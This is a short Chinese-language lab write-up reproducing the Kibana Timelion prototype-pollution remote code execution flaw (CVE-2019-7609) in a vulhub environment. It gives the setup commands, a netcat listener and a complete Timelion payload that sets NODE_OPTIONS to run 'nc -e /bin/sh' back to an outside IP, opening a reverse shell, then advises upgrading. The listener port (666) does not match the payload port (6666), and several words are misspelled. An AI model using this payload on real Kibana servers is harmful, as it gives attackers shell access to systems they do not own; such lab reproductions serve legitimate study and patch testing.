漏洞描述

Kibana为 Elassticsearch设计的一款开源的视图工具。其5.6.15到6.6.1之间的版本中存在一处原型链污染漏洞，利用这个漏洞我们可以在自标服务器上执行任意Javascript代码。

---

影响版本

5.6.15<=Kibana<=6.6.1

---

漏洞复现

环境搭建

小编这里图个方便直接使用vulhub靶场搭建环境。

cd /root/vulhub/kibana/CVE-2019-7609
systcl -w vm.max_map_count=262144 //启动环境前，修改文件句柄的大小为262144
docker-compose up -d
docker ps

web访问如下：

---

反弹shell

kali中使用，也可windows下使用。

nc -lnvp 666

原型链污染发生在Timelion处，点击Timelion，填入payload。
payload如下：

.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("nc -e /bin/sh 192.168.239.139 6666");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ'

反弹shell成功：

漏洞修复

• 升级Kibana到最新版本。

---

参考：维梓梓博客